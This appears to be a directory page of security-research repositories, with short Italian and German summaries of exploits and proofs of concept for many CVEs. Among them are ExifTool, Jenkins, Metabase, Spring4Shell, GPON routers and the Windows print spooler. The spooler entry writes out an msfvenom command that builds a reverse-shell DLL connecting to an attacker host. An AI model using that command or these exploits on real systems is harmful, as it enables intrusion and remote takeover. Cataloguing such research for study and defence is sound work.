exploit-CVE-2021-22204

Exploit per CVE-2021-22204 ExifTool - Esecuzione Arbitraria di Codice Ti piace questo repo? Dacci una ⭐! Solo per scopi educativi e di ricerca sulla sicurezza autorizzata. Autore dell'Exploit @UNICORDev di @NicPWNs e @Dev-Yeoj Descrizione della Vulnerabilità La mancata neutralizzazione dei dati...

CVE-2021-42292

CVE-2021-42292 Dieses Paket erkennt Exploits von CVE-2021-42292, einer lokalen Privilegieneskalationsschwachstelle in Microsoft Excel, und erzeugt einen Eintrag in notice.log. https://corelight.com/blog/detecting-cve-2021-42292 Erkennungsmethode: Das Paket erkennt die Schwachstelle, wenn die...

CVE-2017-0108

Il componente grafico di Windows in Microsoft Office 2007 SP3; 2010 SP2; e Word Viewer; Skype for Business 2016; Lync 2013 SP1; Lync 2010; Live Meeting 2007; Silverlight 5; Windows Vista SP2; Windows Server 2008 SP2 e R2 SP1; e Windows 7 SP1 consente a malintenzionati remoti di eseguire codice...

CVE-2019-11043-Docker

Un'immagine Docker con una versione vulnerabile di PHP-FPM CVE-2019-11043 e nginx. Esecuzione docker run --rm -p8080:80 akamajoris/cve-2019-11043 Dovresti poter accedere all'applicazione web all'indirizzo http://your-ip:8080/. Sfruttamento Compila un binario da...

CVE-2024-3116_RCE_in_pgadmin_8.4

CVE-2024-3116RCEinpgadmin8.4 Creando un laboratorio e testando la CVE-2024-3116, un'esecuzione di codice remoto in pgadmin 8.4 pip scarica il file .whl 8. Installa pgadmin4:...

cve-2025-0133

Strumento di rilevamento XSS riflesso CVE-2025-0133 Autore : Derek Odiorne Data : 2025-05-23 Gravità : Media Testato su : Palo Alto Networks GlobalProtect Portal PAN-OS 📌 Riepilogo Questo script esegue test sicuri e autorizzati per la vulnerabilità CVE-2025-0133 , un problema di Cross-Site...

CVE-2021-26828_ScadaBR_RCE

POC CVE-2021-26828ScadaBRRemoteCodeExecution ScadaBR 0.9.1 auf Linux und bis 1.0 und 1.12.4CE auf Windows erlaubt es authentifizierten Benutzern, beliebige JSP-Dateien über 'viewedit.shtm' hochzuladen und auszuführen, sowie Remote-Code-Ausführung. Exploit-Nutzung Befehle: Windows: $ sudo python...

cve-2019-1003000-jenkins-rce-poc

PoC: Jenkins RCE SECURITY-1266 / CVE-2019-1003000 Script Security, CVE-2019-1003001 Pipeline: Groovy, CVE-2019-1003002 Pipeline: Declarative Ein Proof of Concept, um Benutzern mit Overall/Read-Berechtigung und Job/Configure und optional Job/Build zu ermöglichen, den Sandbox-Schutz zu umgehen und...

CVE-2017-17562

CVE-2017-17562 RCE GoAhead server web 2.5 3.6.5 Exploit standalone in Python 3 per reverse shell per CVE-2017-17562, funziona sulle versioni 2.5 3.6.5 del server web GoAhead. Articolo del blog qui. Scritto e testato su Python 3.7 sulla base di POC e ambiente vulnerabile qui. Parte del codice è...

CVE-2024-4439

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 Chiediamo il ritorno sicuro di tutti i cittadini presi in ostaggio dal gruppo terroristico Hamas. Non ci fermeremo finché ogni ostaggio non sarà rilasciato e non tornerà a casa sano e salvo. Puoi contribuire a riportarli a...

CVE-2023-38646-PoC

CVE-2023-38646 - Metabase RCE pre-autenticazione Metabase open source precedente alla 0.46.6.1 e Metabase Enterprise precedente alla 1.46.6.1 consentono agli attaccanti di eseguire comandi arbitrari sul server, al livello di privilegio del server. L'autenticazione non è richiesta per lo...

theway

The Way The Way è uno strumento per decomprimere, ricomprimere e creare pacchetti Cisco Adaptive Security Device Manager ASDM dannosi. ASDM è la GUI amministrativa basata su Java per i sistemi Adaptive Security Appliance ASA ad es. firewall e VPN. Il pacchetto ASDM è ospitato sull'ASA e i...

WinRAR-Code-Execution-Vulnerability-CVE-2023-38831

Comprendere la vulnerabilità di esecuzione di codice in WinRAR CVE-2023-38831 Panoramica: Part-1...

NimNightmare

CVE-2021-1675 LPE PoC Non è il mio exploit! Volevo solo giocherellare con la libreria winim in nim. Utilizzo Genera il payload DLL con msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll, poi avvia l'handler sul tuo attacker. Sulla vittima esegui...

CVE-2025-50754-PoC

CVE-2025-50754 Gespeichertes XSS zu Remote Code Execution in einer PHP-basierten CMS-Plattform Zusammenfassung Eine PHP-basierte CMS-Plattform Version 5 enthält eine gespeicherte Cross-Site-Scripting-Schwachstelle XSS in der Funktion „Report“. Wenn ein Administrator einen von einem Benutzer...

CVE-2019-19576

class.upload.php = 2.0.3 Beliebiger Datei-Upload Autor - Jinny Ramsmark Betroffener Anbieter - Verot.net Betroffenes Produkt - class.upload.php = 2.0.3 Getestet auf frisch installiertem Ubuntu 19.10 mit PHP7.3 und Apache/2.4.38 Insbesondere Debian/Ubuntu erwies sich als anfällig, da sie die...

GPON_RCE

GPONRCE Exploit per l'esecuzione di codice remoto su router domestici GPON CVE-2018-10562 scritto in Python...

CVE-2024-7120

Raisecom Devices Command Injection CVE-2024-7120 Proof of concept! Übersicht Eine Command Injection-Sicherheitslücke wurde in den RAISECOM Gateway-Geräten der Modelle MSG1200, MSG2100E, MSG2200 und MSG2300 identifiziert. Diese Schwachstelle ermöglicht es entfernten Angreifern, über die...

spring4shell-poc

Spring4Shell POC Beschreibung der Schwachstelle: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Aufbau des POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Schritte zum Erstellen/Ausführen Getestet mit JDK 11.0.14, Spring Boot 2.6.5 und Apache Tomcat 9.0.60...

joomla_rce_CVE-2015-8562

joomlarceCVE-2015-8562 Tutte le versioni di Joomla! precedenti alla 3.4.6 sono note per essere vulnerabili. Tuttavia, lo sfruttamento è possibile con versioni di PHP precedenti alla 5.5.29, 5.6.13 e precedenti alla 5.5. Demo : https://www.youtube.com/watch?v=twqYpn1ir4o...